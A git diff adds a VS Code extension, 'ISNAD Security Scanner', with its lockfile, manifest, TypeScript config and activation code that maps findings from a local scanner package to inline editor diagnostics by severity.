100644 index 00000000..ce71cb28 --- /dev/null +++ b/vscode-extension/package-lock.json @@ -0,0 +1,553 @@ +{ + "name": "isnad-vscode", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "isnad-vscode", + "version": "0.1.0", + "dependencies": { + "@isnad/scanner": "file:../scanner" + }, + "devDependencies": { + "@types/mocha": "^10.0.1", + "@types/node": "^20.2.5", + "@types/vscode": "^1.80.0", + "typescript": "^5.1.3", + "vscode-test": "^1.6.1" + }, + "engines": { + "vscode": "^1.80.0" + } + }, + "../scanner": { + "name": "@isnad/scanner", + "version": "0.1.0", + "license": "MIT", + "dependencies": { + "chalk": "^5.3.0", + "commander": "^12.0.0", + "dotenv": "^16.4.0", + "glob": "^10.3.0", + "viem": "^2.0.0" + }, + "devDependencies": { + "@types/node": "^20.0.0", + "tsx": "^4.21.0", + "typescript": "^5.3.0" + } + }, + "node_modules/@isnad/scanner": { + "resolved": "../scanner", + "link": true + }, + "node_modules/@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/@types/mocha": { + "version": "10.0.10", + "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-10.0.10.tgz", + "integrity": "sha512-xPyYSz1cMPnJQhl0CLMH68j3gprKZaTjG3s5Vi+fDgx+uhG9NOXwbVt52eFS8ECyXhyKcjDLCBEqBExKuiZb7Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "20.19.37", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.37.tgz", + "integrity": "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "undici-types": "~6.21.0" + } + }, + "node_modules/@types/vscode": { + "version": "1.110.0", + "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.110.0.tgz", + "integrity": "sha512-AGuxUEpU4F4mfuQjxPPaQVyuOMhs+VT/xRok1jiHVBubHK7lBRvCuOMZG0LKUwxncrPorJ5qq/uil3IdZBd5lA==", + "dev": true, + "license": "MIT" + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/big-integer": { + "version": "1.6.52", + "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.52.tgz", + "integrity": "sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==", + "dev": true, + "license": "Unlicense", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/binary": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/binary/-/binary-0.3.0.tgz", + "integrity": "sha512-D4H1y5KYwpJgK8wk1Cue5LLPgmwHKYSChkbspQg5JtVuR5ulGckxfR62H3AE9UDkdMC8yyXlqYihuz3Aqg2XZg==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffers": "~0.1.1", + "chainsaw": "~0.1.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/bluebird": { + "version": "3.4.7", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.4.7.tgz", + "integrity": "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/buffer-indexof-polyfill": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/buffer-indexof-polyfill/-/buffer-indexof-polyfill-1.0.2.tgz", + "integrity": "sha512-I7wzHwA3t1/lwXQh+A5PbNvJxgfo5r3xulgpYDB5zckTu/Z9oUK9biouBKQUjEqzaz3HnAT6TYoovmE+GqSf7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/buffers": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/buffers/-/buffers-0.1.1.tgz", + "integrity": "sha512-9q/rDEGSb/Qsvv2qvzIzdluL5k7AaJOTrw23z9reQthrbF7is4CtlT0DXyO1oei2DCp4uojjzQ7igaSHp1kAEQ==", + "dev": true, + "engines": { + "node": ">=0.2.0" + } + }, + "node_modules/chainsaw": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz", + "integrity": "sha512-75kWfWt6MEKNC8xYXIdRpDehRYY/tNSgwKaJq+dbbDcxORuVrrQ+SEHoWsniVn9XPYfP4gmdWIeDk/4YNp1rNQ==", + "dev": true, + "license": "MIT/X11", + "dependencies": { + "traverse": ">=0.3.0 <0.4" + }, + "engines": { + "node": "*" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/duplexer2": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", + "integrity": "sha512-asLFVfWWtJ90ZyOUHMqk7/S2w2guQKxUI2itj3d92ADHhxUSbCMGi1f1cBcJ7xM1To+pE/Khbwo1yuNbMEPKeA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "readable-stream": "^2.0.2" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true, + "license": "ISC" + }, + "node_modules/fstream": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", + "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", + "deprecated": "This package is no longer supported.", + "dev": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.2", + "inherits": "~2.0.0", + "mkdirp": ">=0.5 0", + "rimraf": "2" + }, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/fstream/node_modules/rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "dev": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/listenercount": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/listenercount/-/listenercount-1.0.1.tgz", + "integrity": "sha512-3mk/Zag0+IJxeDrxSgaDPy4zZ3w05PRZeJNnlWhzFz5OkX49J4krc+A8X2d2M69vGMBEX0uyl8M+W+8gH+kBqQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true, + "license": "MIT" + }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true, + "license": "MIT" + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", + "dev": true, + "license": "MIT" + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/traverse": { + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.3.9.tgz", + "integrity": "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ==", + "dev": true, + "license": "MIT/X11", + "engines": { + "node": "*" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/undici-types": { + "version": "6.21.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", + "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/unzipper": { + "version": "0.10.14", + "resolved": "https://registry.npmjs.org/unzipper/-/unzipper-0.10.14.tgz", + "integrity": "sha512-ti4wZj+0bQTiX2KmKWuwj7lhV+2n//uXEotUmGuQqrbVZSEGFMbI68+c6JCQ8aAmUWYvtHEz2A8K6wXvueR/6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "big-integer": "^1.6.17", + "binary": "~0.3.0", + "bluebird": "~3.4.1", + "buffer-indexof-polyfill": "~1.0.0", + "duplexer2": "~0.1.4", + "fstream": "^1.0.12", + "graceful-fs": "^4.2.2", + "listenercount": "~1.0.1", + "readable-stream": "~2.3.6", + "setimmediate": "~1.0.4" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-test": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/vscode-test/-/vscode-test-1.6.1.tgz", + "integrity": "sha512-086q88T2ca1k95mUzffvbzb7esqQNvJgiwY4h29ukPhFo8u+vXOOmelUoU5EQUHs3Of8+JuQ3oGdbVCqaxuTXA==", + "deprecated": "This package has been renamed to @vscode/test-electron, please update to the new name", + "dev": true, + "license": "MIT", + "dependencies": { + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "rimraf": "^3.0.2", + "unzipper": "^0.10.11" + }, + "engines": { + "node": ">=8.9.3" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true, + "license": "ISC" + } + } +} diff --git a/vscode-extension/package.json b/vscode-extension/package.json new file mode 100644 index 00000000..30f3cd6f --- /dev/null +++ b/vscode-extension/package.json @@ -0,0 +1,63 @@ +{ + "name": "isnad-vscode", + "displayName": "ISNAD Security Scanner", + "description": "VS Code extension that shows inline warnings for supply chain security risks detected by ISNAD", + "version": "0.1.0", + "engines": { + "vscode": "^1.80.0" + }, + "categories": [ + "Other", + "Security" + ], + "keywords": [ + "security", + "supply-chain", + "isnad", + "scanner" + ], + "activationEvents": [ + "onStartupFinished" + ], + "main": "./out/extension.js", + "contributes": { + "configuration": { + "title": "ISNAD", + "properties": { + "isnad.sensitivity": { + "type": "string", + "default": "medium", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "description": "Minimum severity level to show warnings" + }, + "isnad.scanOnOpen": { + "type": "boolean", + "default": true, + "description": "Automatically scan files when they are opened" + } + } + } + }, + "scripts": { + "vscode:prepublish": "npm run compile", + "compile": "tsc -p ./", + "watch": "tsc -watch -p ./", + "pretest": "npm run compile", + "test": "node ./out/test/runTest.js" + }, + "devDependencies": { + "@types/vscode": "^1.80.0", + "@types/node": "^20.2.5", + "typescript": "^5.1.3", + "@types/mocha": "^10.0.1", + "vscode-test": "^1.6.1" + }, + "dependencies": { + "@isnad/scanner": "file:../scanner" + } +} diff --git a/vscode-extension/src/extension.ts b/vscode-extension/src/extension.ts new file mode 100644 index 00000000..7db8e4a0 --- /dev/null +++ b/vscode-extension/src/extension.ts @@ -0,0 +1,126 @@ +import * as vscode from 'vscode'; +import { analyzeContent, type Finding, type AnalysisResult } from '@isnad/scanner/src/analyzer'; + +const SEVERITY_WEIGHTS = { + critical: 4, + high: 3, + medium: 2, + low: 1 +}; + +const SEVERITY_VSCODE_DIAGNOSTIC = { + critical: vscode.DiagnosticSeverity.Error, + high: vscode.DiagnosticSeverity.Warning, + medium: vscode.DiagnosticSeverity.Warning, + low: vscode.DiagnosticSeverity.Information +}; + +type SensitivityLevel = 'low' | 'medium' | 'high' | 'critical'; + +export function activate(context: vscode.ExtensionContext) { + console.log('ISNAD Security Scanner activated'); + + // Create diagnostic collection + const diagnosticCollection = vscode.languages.createDiagnosticCollection('isnad'); + context.subscriptions.push(diagnosticCollection); + + // Get configuration + function getMinSeverity(): SensitivityLevel { + const config = vscode.workspace.getConfiguration('isnad'); + return config.get('sensitivity', 'medium'); + } + + function shouldScanOnOpen(): boolean { + const config = vscode.workspace.getConfiguration('isnad'); + return config.get('scanOnOpen', true); + } + + // Scan the active document + async function scanDocument(document: vscode.TextDocument) { + if (document.uri.scheme !== 'file') { + return; + } + + const content = document.getText(); + const result = analyzeContent(content); + updateDiagnostics(document, result, diagnosticCollection, getMinSeverity()); + } + + // Update diagnostics in VS Code + function updateDiagnostics( + document: vscode.TextDocument, + result: AnalysisResult, + collection: vscode.DiagnosticCollection, + minSeverity: SensitivityLevel + ) { + const diagnostics: vscode.Diagnostic[] = []; + + const minWeight = SEVERITY_WEIGHTS[minSeverity]; + + for (const finding of result.findings) { + const weight = SEVERITY_WEIGHTS[finding.severity]; + if (weight < minWeight) { + continue; + } + + // Get range for the match + const line = finding.line - 1; // VS Code is 0-based + const lineText = document.lineAt(line); + const start = new vscode.Position(line, Math.max(0, finding.column - 1)); + const end = new vscode.Position(line, lineText.range.end.character); + const range = new vscode.Range(start, end); + + const diagnostic = new vscode.Diagnostic( + range, + `${finding.name}: ${finding.description}`, + SEVERITY_VSCODE_DIAGNOSTIC[finding.severity] + ); + + diagnostic.code = finding.patternId; + diagnostic.source = 'ISNAD'; + diagnostics.push(diagnostic); + } + + collection.set(document.uri, diagnostics); + } + + // Register event handlers + if (shouldScanOnOpen()) { + vscode.workspace.onDidOpenTextDocument((event: vscode.TextDocument) => { + scanDocument(event); + }, null, context.subscriptions); + } + + vscode.workspace.onDidChangeTextDocument((event: vscode.TextDocumentChangeEvent) => { + if (shouldScanOnOpen()) { + scanDocument(event.document); + } + }, null, context.subscriptions); + + // Register manual scan command + const scanCommand = vscode.commands.registerCommand('isnad-vscode.scanWorkspace', () => { + vscode.window.showInformationMessage('Starting ISNAD security scan...'); + + // Scan all open text documents + vscode.workspace.textDocuments.forEach(doc => { + scanDocument(doc); + }); + + vscode.window.showInformationMessage('ISNAD scan complete'); + }); + + const clearCommand = vscode.commands.registerCommand('isnad-vscode.clearWarnings', () => { + diagnosticCollection.clear(); + }); + + context.subscriptions.push(scanCommand, clearCommand); + + // Scan already open documents on activation + vscode.workspace.textDocuments.forEach(doc => { + if (shouldScanOnOpen()) { + scanDocument(doc); + } + }); +} + +export function deactivate() {} diff --git a/vscode-extension/tsconfig.json b/vscode-extension/tsconfig.json new file mode 100644 index 00000000..3d2f8f67 --- /dev/null +++ b/vscode-extension/tsconfig.json @@ -0,0 +1,17 @@ +{ + "compilerOptions": { + "module": "commonjs", + "target": "ES2020", + "outDir": "out", + "lib": [ + "ES2020" + ], + "sourceMap": true, + "rootDir": "src", + "strict": true + }, + "exclude": [ + "node_modules", + ".vscode-test" + ] +}